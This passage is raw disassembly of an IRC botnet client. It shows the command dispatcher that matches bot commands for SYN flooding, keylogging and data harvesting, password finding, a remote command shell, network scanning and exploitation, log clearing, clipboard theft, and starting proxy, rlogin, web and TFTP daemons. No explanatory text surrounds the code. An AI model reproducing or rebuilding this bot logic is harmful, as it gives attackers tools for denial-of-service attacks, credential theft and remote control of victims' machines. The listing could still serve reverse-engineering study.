CODE XREF: sub_40D2E0+836j lea eax, [ebp+var_D8] mov [ebp+var_8C], eax loc_40DB29: ; CODE XREF: sub_40D2E0+83Bj cmp [ebp+var_88], ebx jz loc_40D6A7 inc [ebp+var_88] jz short loc_40DB75 cmp [ebp+arg_10], ebx jz short loc_40DB75 lea eax, [ebp+var_928] push eax call sub_415C80 push eax lea eax, [ebp+var_928] push [ebp+var_88] push eax call sub_416EC0 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_C0], esi jmp short loc_40DB7B ; --------------------------------------------------------------------------- loc_40DB75: ; CODE XREF: sub_40D2E0+85Bj ; sub_40D2E0+860j mov esi, [ebp+var_C0] loc_40DB7B: ; CODE XREF: sub_40D2E0+893j mov edi, [ebp+esi*4+var_94] cmp edi, ebx jz loc_40D6A7 push edi push offset dword_42E40C call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_40D998 mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz short loc_40DC1E mov eax, ds:dword_4C8E40 mov eax, ds:off_42ADE0[eax*4] cmp [eax], bl jz short loc_40DC1E push eax push ecx push offset dword_42E3F0 push [ebp+arg_4] call sub_40BAA1 add esp, 10h lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset aSHasJustVersio ; "%s has just versioned me." push eax call sub_415480 lea eax, [ebp+var_2DC] push eax call sub_40A5B3 add esp, 10h cmp [ebp+var_AC], ebx jnz loc_40D6A7 push ebx lea eax, [ebp+var_2DC] push 1 push eax push offset dword_4C8D4C loc_40DC0E: ; CODE XREF: sub_40D2E0+58C1j push [ebp+arg_4] call sub_40BAE7 add esp, 14h jmp loc_40D6A7 ; --------------------------------------------------------------------------- loc_40DC1E: ; CODE XREF: sub_40D2E0+8C8j ; sub_40D2E0+8D8j push edi push offset dword_42E3CC call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_40D998 mov eax, [ebp+esi*4+var_90] cmp eax, ebx jz loc_40D998 mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz loc_40D998 push eax push ecx push offset dword_42E3B4 jmp loc_40D69C ; --------------------------------------------------------------------------- loc_40DC5D: ; CODE XREF: sub_40D2E0+7E1j call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset dword_42E36C jmp loc_40DDC9 ; --------------------------------------------------------------------------- loc_40DC6E: ; CODE XREF: sub_40D2E0+702j lea eax, [ebp+var_D8] push eax push [ebp+esi+var_8C] push offset dword_42E31C loc_40DC81: ; CODE XREF: sub_40D2E0+6177j ; sub_40D2E0+61DEj lea eax, [ebp+var_2DC] push eax call sub_415480 add esp, 10h loc_40DC90: ; CODE XREF: sub_40D2E0+7EDj ; sub_40D2E0+AB1j ... push 1 pop esi jmp loc_40F56E ; --------------------------------------------------------------------------- loc_40DC98: ; CODE XREF: sub_40D2E0+6F6j push [ebp+esi+var_90] push offset aChat ; "CHAT" call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_40DDF3 cmp [ebp+var_AC], ebx jz loc_40DDBD push 13h call sub_415174 test eax, eax pop ecx jnz loc_40DDAF push [ebp+esi+var_88] lea eax, [ebp+var_708] push offset aS_2 ; "%s" push eax call sub_415480 push [ebp+esi+var_84] call sub_4159EF mov [ebp+var_570], eax mov eax, [ebp+arg_4] mov [ebp+var_710], eax lea eax, [ebp+var_D8] push 7Fh push eax lea eax, [ebp+var_5F0] push eax call sub_416D30 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset dword_42E2E4 push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push 13h push eax call sub_414F2C add esp, 18h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40A965 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_40DDA1 loc_40DD8B: ; CODE XREF: sub_40D2E0+ABFj cmp [ebp+var_560], ebx jnz loc_40DC90 push 32h call ds:dword_422054 ; Sleep jmp short loc_40DD8B ; --------------------------------------------------------------------------- loc_40DDA1: ; CODE XREF: sub_40D2E0+AA9j call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset dword_42E2A0 jmp short loc_40DDC9 ; --------------------------------------------------------------------------- loc_40DDAF: ; CODE XREF: sub_40D2E0+9E9j lea eax, [ebp+var_D8] push eax push offset dword_42E260 jmp short loc_40DDC9 ; --------------------------------------------------------------------------- loc_40DDBD: ; CODE XREF: sub_40D2E0+9D9j lea eax, [ebp+var_D8] push eax push offset dword_42E220 loc_40DDC9: ; CODE XREF: sub_40D2E0+989j ; sub_40D2E0+ACDj ... lea eax, [ebp+var_2DC] push eax call sub_415480 add esp, 0Ch jmp loc_40DC90 ; --------------------------------------------------------------------------- loc_40DDDD: ; CODE XREF: sub_40D2E0+6DBj mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, ds:byte_42ACDC mov [edi], ecx jnz loc_40D6A7 loc_40DDF3: ; CODE XREF: sub_40D2E0+9CDj mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aC_0 ; "c" push edi call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4133BD push [ebp+arg_8] push edi call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4133BD cmp [ebp+var_AC], ebx jnz short loc_40DE43 push [ebp+var_90] push offset dword_42E464 call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_4133B5 loc_40DE43: ; CODE XREF: sub_40D2E0+B47j cmp [ebp+arg_28], ebx jnz loc_4133B5 xor edi, edi cmp ds:dword_42AE8C, ebx jle loc_40DFEF mov [ebp+arg_20], offset dword_43B140 loc_40DE61: ; CODE XREF: sub_40D2E0+BA0j push [ebp+arg_8] push [ebp+arg_20] call sub_4158A0 pop ecx test eax, eax pop ecx jz short loc_40DE87 add [ebp+arg_20], 0B8h inc edi cmp edi, ds:dword_42AE8C jl short loc_40DE61 jmp loc_40DFEF ; --------------------------------------------------------------------------- loc_40DE87: ; CODE XREF: sub_40D2E0+B90j push offset asc_42E574 ; " :" push [ebp+arg_0] call sub_415A50 pop ecx cmp eax, ebx pop ecx jz loc_40D6A7 mov cl, ds:byte_42ACDC imul edi, 0B8h mov [eax+2], cl mov cl, ds:byte_42ACDC mov [eax+3], cl lea ecx, dword_43B158[edi] push 9Fh add eax, 4 push ecx push eax call sub_416D30 lea eax, [ebp+esi+var_54] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_40DEDC: ; CODE XREF: sub_40D2E0+CA4j push [ebp+arg_20] lea eax, [ebp+var_B8] push offset aD_0 ; "$%d-" push eax call sub_415480 lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_415A50 add esp, 14h test eax, eax jz short loc_40DF48 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_40DF48 lea eax, dword_43B140[edi] push eax call sub_415C80 add [ebp+var_C], eax pop ecx jz short loc_40DF7A mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_415A50 pop ecx cmp eax, ebx pop ecx jz short loc_40DF7A push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_408E1D add esp, 0Ch jmp short loc_40DF7A ; --------------------------------------------------------------------------- loc_40DF48: ; CODE XREF: sub_40D2E0+C24j ; sub_40D2E0+C2Bj mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_40DF7A lea eax, [ebp+var_B8] push 2 push eax lea eax, [ebp+var_14] push eax call sub_416D30 lea eax, [ebp+var_14] mov [ebp+var_12], bl push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_408E1D add esp, 18h loc_40DF7A: ; CODE XREF: sub_40D2E0+C3Dj ; sub_40D2E0+C51j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_40DEDC lea eax, [ebp+esi+var_54] mov [ebp+arg_20], 10h mov edi, eax loc_40DF97: ; CODE XREF: sub_40D2E0+D03j push [ebp+arg_20] lea eax, [ebp+var_B8] push offset aD ; "$%d" push eax call sub_415480 lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_415A50 add esp, 14h test eax, eax jz short loc_40DFDA mov eax, [edi] cmp eax, ebx jz short loc_40DFDA push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_408E1D add esp, 0Ch loc_40DFDA: ; CODE XREF: sub_40D2E0+CDFj ; sub_40D2E0+CE5j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40DF97 mov [ebp+var_DC], 1 loc_40DFEF: ; CODE XREF: sub_40D2E0+B74j ; sub_40D2E0+BA2j mov eax, [ebp+arg_8] mov al, [eax] cmp al, ds:byte_42ACDC jz short loc_40E008 cmp [ebp+var_DC], ebx jz loc_40E1ED loc_40E008: ; CODE XREF: sub_40D2E0+D1Aj push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe_0 ; "$me" push edi call sub_408E1D lea eax, [ebp+var_D8] push eax push offset aUser_2 ; "$user" push edi call sub_408E1D push [ebp+var_8C] push offset aChan ; "$chan" push edi call sub_408E1D push ebx push ebx lea eax, [ebp+var_B8] push 2 push eax call sub_41416F push eax push offset aRndnick ; "$rndnick" push edi call sub_408E1D add esp, 40h push [ebp+arg_14] push offset aServer_0 ; "$server" push edi call sub_408E1D mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_415A50 add esp, 14h loc_40E07A: ; CODE XREF: sub_40D2E0+E86j test eax, eax jz loc_40E16B push edi push [ebp+arg_0] call sub_415A50 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_B8] push eax call sub_416D30 lea eax, [ebp+var_B8] push offset asc_42E1DC ; ")" push eax call sub_416C8F add esp, 1Ch cmp [ebp+var_B8], 30h jl short loc_40E0C6 cmp [ebp+var_B8], 39h jle short loc_40E0DC loc_40E0C6: ; CODE XREF: sub_40D2E0+DDBj push 3 lea eax, [ebp+var_B8] push offset a63 ; "63" push eax call sub_416D30 add esp, 0Ch loc_40E0DC: ; CODE XREF: sub_40D2E0+DE4j lea eax, [ebp+var_B8] push eax call sub_4159EF test eax, eax pop ecx jle short loc_40E0FF lea eax, [ebp+var_B8] push eax call sub_4159EF pop ecx mov [ebp+var_14], al jmp short loc_40E110 ; --------------------------------------------------------------------------- loc_40E0FF: ; CODE XREF: sub_40D2E0+E0Bj call sub_4154DC push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_14], dl loc_40E110: ; CODE XREF: sub_40D2E0+E1Dj lea eax, [ebp+var_B8] mov [ebp+var_13], bl push eax call sub_415C80 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_B8] push ebx push eax call sub_415500 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_B8] push [ebp+arg_10] push eax call sub_416D30 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_408E1D push edi push [ebp+arg_0] call sub_415A50 add esp, 30h jmp loc_40E07A ; --------------------------------------------------------------------------- loc_40E16B: ; CODE XREF: sub_40D2E0+D9Cj mov edi, 1FFh lea eax, [ebp+var_FB0] push edi push [ebp+arg_0] push eax call sub_416D30 lea eax, [ebp+var_FB0] push edi push eax lea eax, [ebp+var_11B0] push eax call sub_416D30 lea eax, [ebp+var_11B0] push offset asc_425D24 ; " " push eax call sub_416C8F add esp, 20h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+arg_10], 1Fh loc_40E1BB: ; CODE XREF: sub_40D2E0+EF0j push offset asc_425D24 ; " " push ebx call sub_416C8F mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40E1BB mov ecx, [ebp+esi+var_94] lea eax, [ebp+esi+var_94] cmp ecx, ebx jz loc_40D6A7 add ecx, 3 mov [eax], ecx loc_40E1ED: ; CODE XREF: sub_40D2E0+D22j mov edi, [ebp+esi+var_94] push edi push offset aIrc_rndnick ; "irc.rndnick" mov [ebp+arg_8], edi call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_413363 push edi push offset aRn ; "rn" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_413363 push edi push offset aIrc_die ; "irc.die" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_413341 push edi push offset aIrc_di ; "irc.di" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_413341 push edi push offset aIrc_logout ; "irc.logout" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41329F push edi push offset aLo ; "lo" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41329F push edi push offset aIrc_version ; "irc.version" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_413290 push edi push offset aVer ; "ver" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_413290 push edi push offset aLockdown_on ; "lockdown.on" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41317B push edi push offset aLd_on ; "ld.on" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41317B push edi push offset aLockdown_off ; "lockdown.off" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41317B push edi push offset aLd_off ; "ld.off" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41317B push edi push offset aProxy_socks4_o ; "proxy.socks4.on" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_413059 push edi push offset aProxy_s4_on ; "proxy.s4.on" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_413059 push edi push offset aProxy_socks4_0 ; "proxy.socks4.off" call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40E35D push [ebp+esi+var_90] push 11h push offset aServer ; "Server" push offset dword_42E124 loc_40E341: ; CODE XREF: sub_40D2E0+10A1j ; sub_40D2E0+10C7j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_4151BA add esp, 20h jmp loc_40D6A7 ; --------------------------------------------------------------------------- loc_40E35D: ; CODE XREF: sub_40D2E0+104Cj push edi push offset aDaemon_rlogin_ ; "daemon.rlogin.off" call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40E383 push [ebp+esi+var_90] push 6 push offset aServer ; "Server" push offset dword_42E100 jmp short loc_40E341 ; --------------------------------------------------------------------------- loc_40E383: ; CODE XREF: sub_40D2E0+108Cj push edi push offset dword_42E0F0 call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40E3A9 push [ebp+esi+var_90] push 3 push offset aServer ; "Server" push offset dword_42E0E4 jmp short loc_40E341 ; --------------------------------------------------------------------------- loc_40E3A9: ; CODE XREF: sub_40D2E0+10B2j push edi push offset dword_42E0DC call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40E3D2 push [ebp+esi+var_90] push 1Dh push offset dword_42E0D0 push offset dword_42E0C4 jmp loc_40E341 ; --------------------------------------------------------------------------- loc_40E3D2: ; CODE XREF: sub_40D2E0+10D8j push edi push offset aProxy_redirect ; "proxy.redirect.off" call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40E3FB push [ebp+esi+var_90] push 10h push offset dword_42E0A0 push offset dword_42E090 jmp loc_40E341 ; --------------------------------------------------------------------------- loc_40E3FB: ; CODE XREF: sub_40D2E0+1101j push edi push offset dword_42E084 call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40E424 push [ebp+esi+var_90] push 0Ah push offset dword_42E078 push offset dword_42E06C jmp loc_40E341 ; --------------------------------------------------------------------------- loc_40E424: ; CODE XREF: sub_40D2E0+112Aj push edi push offset dword_42E05C call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40E44D push [ebp+esi+var_90] push 0Bh push offset dword_42E050 push offset dword_42E044 jmp loc_40E341 ; --------------------------------------------------------------------------- loc_40E44D: ; CODE XREF: sub_40D2E0+1153j push edi push offset dword_42E034 call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40E476 push [ebp+esi+var_90] push 0Fh push offset dword_42E028 push offset dword_42E01C jmp loc_40E341 ; --------------------------------------------------------------------------- loc_40E476: ; CODE XREF: sub_40D2E0+117Cj push edi push offset dword_42E00C call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40E49F push [ebp+esi+var_90] push 0Eh push offset dword_42E000 push offset dword_42DFF4 jmp loc_40E341 ; --------------------------------------------------------------------------- loc_40E49F: ; CODE XREF: sub_40D2E0+11A5j push edi push offset aDaemon_tftp_of ; "daemon.tftp.off" call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40E4C8 push [ebp+esi+var_90] push 4 push offset aServer ; "Server" push offset dword_42DFD8 jmp loc_40E341 ; --------------------------------------------------------------------------- loc_40E4C8: ; CODE XREF: sub_40D2E0+11CEj push edi push offset aUtil_findfile_ ; "util.findfile.off" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_413041 push edi push offset aUtil_ff_off ; "util.ff.off" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_413041 push edi push offset aCom_procs_off ; "com.procs.off" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_413029 push edi push offset aCom_ps_off ; "com.ps.off" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_413029 push edi push offset aClone_off ; "clone.off" call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40E545 push [ebp+esi+var_90] push 18h push offset aClone ; "Clone" push offset dword_42DF78 jmp loc_40E341 ; --------------------------------------------------------------------------- loc_40E545: ; CODE XREF: sub_40D2E0+124Bj push edi push offset aLockdown_stop ; "lockdown.stop" call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40E56E push [ebp+esi+var_90] push 1Ah push offset aSecure_0 ; "Secure" push offset dword_42DF50 jmp loc_40E341 ; --------------------------------------------------------------------------- loc_40E56E: ; CODE XREF: sub_40D2E0+1274j push edi push offset aRoot_stop ; "root.stop" call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40E597 push [ebp+esi+var_90] push 8 push offset aScan ; "Scan" push offset aExploitation ; "Exploitation" jmp loc_40E341 ; --------------------------------------------------------------------------- loc_40E597: ; CODE XREF: sub_40D2E0+129Dj push edi push offset aRoot_stats ; "root.stats" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_413013 push edi push offset aRoot_st ; "root.st" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_413013 push edi push offset aIrc_reconnect ; "irc.reconnect" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412FF2 push edi push offset aIrc_r ; "irc.r" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412FF2 push edi push offset aIrc_disconnect ; "irc.disconnect" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412FD0 push edi push offset aIrc_d ; "irc.d" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412FD0 push edi push offset aIrc_quit ; "irc.quit" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412F88 push edi push offset aIrc_q ; "irc.q" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412F88 push edi push offset aIrc_status ; "irc.status" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412F49 push edi push offset aIrc_s ; "irc.s" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412F49 push edi push offset aIrc_id ; "irc.id" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412F3D push edi push offset aIrc_i ; "irc.i" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412F3D push edi push offset aCom_rebewt ; "com.rebewt" call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40E6E5 call sub_409266 test eax, eax mov eax, offset dword_42DE78 jnz short loc_40E6B7 mov eax, offset dword_42DE44 loc_40E6B7: ; CODE XREF: sub_40D2E0+13D0j push eax lea eax, [ebp+var_2DC] push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40BAE7 add esp, 1Ch jmp loc_40DC90 ; --------------------------------------------------------------------------- loc_40E6E5: ; CODE XREF: sub_40D2E0+13C2j push edi push offset aThreads_list ; "threads.list" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412E4C push edi push offset aThreads_l ; "threads.l" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412E4C push edi push offset aIrc_aliases ; "irc.aliases" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412E2C push edi push offset aIrc_al ; "irc.al" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412E2C push edi push offset aIrc_log ; "irc.log" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412D39 push edi push offset aIrc_lg ; "irc.lg" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412D39 push edi push offset aUtil_clearlog ; "util.clearlog" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412D20 push edi push offset aUtil_clg ; "util.clg" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412D20 push edi push offset aCom_netinfo ; "com.netinfo" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412CEE push edi push offset aCom_ni ; "com.ni" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412CEE push edi push offset aDdos_supersyn ; "ddos.supersyn" call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_40E8C7 mov edi, [ebp+esi+var_90] push 7Fh lea eax, [ebp+var_76C] push edi push eax call sub_416D30 mov eax, [ebp+esi+var_8C] push 7Fh mov [ebp+arg_18], eax push eax lea eax, [ebp+var_6EC] push eax call sub_416D30 mov esi, [ebp+esi+var_88] push 7Fh lea eax, [ebp+var_66C] push esi push eax call sub_416D30 push 7Fh lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_416D30 mov eax, [ebp+var_4] add esp, 30h mov [ebp+var_568], eax mov eax, [ebp+var_8] push esi mov [ebp+var_564], eax mov eax, [ebp+arg_4] push [ebp+arg_18] mov [ebp+var_770], eax lea eax, [ebp+var_2DC] push edi push offset unk_42DD84 push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push 14h push eax call sub_414F2C add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_770] push ebx push eax push offset sub_401831 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_40E8B6 loc_40E8A0: ; CODE XREF: sub_40D2E0+15D4j cmp [ebp+var_560], ebx jnz loc_412A7A push 32h call ds:dword_422054 ; Sleep jmp short loc_40E8A0 ; --------------------------------------------------------------------------- loc_40E8B6: ; CODE XREF: sub_40D2E0+15BEj call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset unk_42DD38 jmp loc_41206B ; --------------------------------------------------------------------------- loc_40E8C7: ; CODE XREF: sub_40D2E0+14E6j push edi push offset aCom_sysinfo ; "com.sysinfo" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412CC0 push edi push offset aCom_si ; "com.si" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412CC0 push edi push offset aIrc_rem0ve ; "irc.rem0ve" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412C86 push edi push offset aIrc_rm0 ; "irc.rm0" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412C86 push edi push offset aCom_procs ; "com.procs" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412B7D push edi push offset aCom_ps ; "com.ps" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412B7D push edi push offset aCom_harvest ; "com.harvest" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412B5F push edi push offset aCom_key ; "com.key" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412B5F push edi push offset aCom_uptime ; "com.uptime" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412ADA push edi push offset aCom_up ; "com.up" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412ADA push edi push offset aCom_driveinfo ; "com.driveinfo" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412ABD push edi push offset aCom_drv ; "com.drv" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412ABD push edi push offset aCom_testdlls ; "com.testdlls" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412AA4 push edi push offset aCom_dll ; "com.dll" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412AA4 push edi push offset aCom_opencmd ; "com.opencmd" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412A38 push edi push offset aCom_ocmd ; "com.ocmd" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412A38 push edi push offset aCom_ocmd_off ; "com.ocmd.off" call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40EA40 push [ebp+esi+var_90] push 7 push offset aRemoteShell ; "Remote shell" push offset aCmd ; "[CMD]" jmp loc_40E341 ; --------------------------------------------------------------------------- loc_40EA40: ; CODE XREF: sub_40D2E0+1746j push edi push offset aIrc_who ; "irc.who" call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40EACC cmp [ebp+var_8], ebx jnz short loc_40EA70 push ebx push [ebp+var_4] push offset aLoginList ; "-[Login List]-" push [ebp+var_8C] push [ebp+arg_4] call sub_40BAE7 add esp, 14h loc_40EA70: ; CODE XREF: sub_40D2E0+1774j mov edi, [ebp+arg_18] xor esi, esi loc_40EA75: ; CODE XREF: sub_40D2E0+17DBj cmp [edi], bl lea eax, [edi+1] jnz short loc_40EA81 mov eax, offset aEmpty ; "<Empty>" loc_40EA81: ; CODE XREF: sub_40D2E0+179Aj push eax push esi lea eax, [ebp+var_2DC] push offset aD_S ; "%d. %s" push eax call sub_415480 push 1 lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40BAE7 add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_40EA75 push offset dword_42DC0C loc_40EAC2: ; CODE XREF: sub_40D2E0+5C58j call sub_40A5B3 jmp loc_4133B4 ; --------------------------------------------------------------------------- loc_40EACC: ; CODE XREF: sub_40D2E0+176Fj push edi push offset aCom_getclip ; "com.getclip" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4129EF push edi push offset aCom_gc ; "com.gc" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4129EF push edi push offset aUtil_flusharp ; "util.flusharp" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4129C4 push edi push offset aUtil_farp ; "util.farp" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4129C4 push edi push offset aUtil_flushdns ; "util.flushdns" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4129A0 push edi push offset aUtil_fdns ; "util.fdns" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4129A0 push edi push offset aRoot_currentip ; "root.currentip" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412963 push edi push offset aRoot_cip ; "root.cip" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412963 push edi push offset aDaemon_rlogi_0 ; "daemon.rlogin.on" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412812 push edi push offset aDaemon_rl_on ; "daemon.rl.on" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412812 push edi push offset aDaemon_httpd_o ; "daemon.httpd.on" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41269C push edi push offset aDaemon_web_on ; "daemon.web.on" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41269C push edi push offset aDaemon_tftp_on ; "daemon.tftp.on" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41255B push edi push offset aDaemon_tf_on ; "daemon.tf.on" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41255B push edi push offset aCom_findpass ; "com.findpass" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4124B1 push edi push offset aCom_fp ; "com.fp" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4124B1 push edi push offset aScanall ; "scanall" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4121B2 push edi push offset aSa ; "sa" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4121B2 mov edi, [ebp+esi+var_90] cmp edi, ebx jz loc_40D6A7 push [ebp+arg_8] push offset aIrc_nick ; "irc.nick" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412196 push [ebp+arg_8] push offset aIrc_n ; "irc.n" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412196 push [ebp+arg_8] push offset aIrc_join ; "irc.join" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412173 push [ebp+arg_8] push offset aIrc_j ; "irc.j" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412173 push [ebp+arg_8] push offset aIrc_part ; "irc.part" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412157 push [ebp+arg_8] push offset aIrc_pt ; "irc.pt" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_412157 push [ebp+arg_8] push offset aIrc_raw ; "irc.raw" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41211D push [ebp+arg_8] push offset aIrc_ra ; "irc.ra" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41211D push [ebp+arg_8] push offset aThreads_kill ; "threads.kill" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41204B push [ebp+arg_8] push offset aThreads_k ; "threads.k" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41204B push [ebp+arg_8] push offset 